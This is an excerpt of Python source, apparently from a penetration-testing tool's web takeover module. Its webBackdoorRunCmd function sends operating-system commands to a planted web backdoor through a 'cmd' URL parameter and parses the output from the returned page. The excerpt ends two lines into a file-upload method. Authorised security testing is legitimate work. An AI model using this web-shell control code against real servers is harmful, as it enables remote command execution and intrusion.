| 75 | self.webDirectory = None |
| 76 | |
| 77 | def webBackdoorRunCmd(self, cmd): |
| 78 | if self.webBackdoorUrl is None: |
| 79 | return |
| 80 | |
| 81 | output = None |
| 82 | |
| 83 | if not cmd: |
| 84 | cmd = conf.osCmd |
| 85 | |
| 86 | cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd)) |
| 87 | page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) |
| 88 | |
| 89 | if page is not None: |
| 90 | output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S) |
| 91 | |
| 92 | if output: |
| 93 | output = output.group(1) |
| 94 | |
| 95 | return output |
| 96 | |
| 97 | def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None): |
| 98 | if filepath is not None: |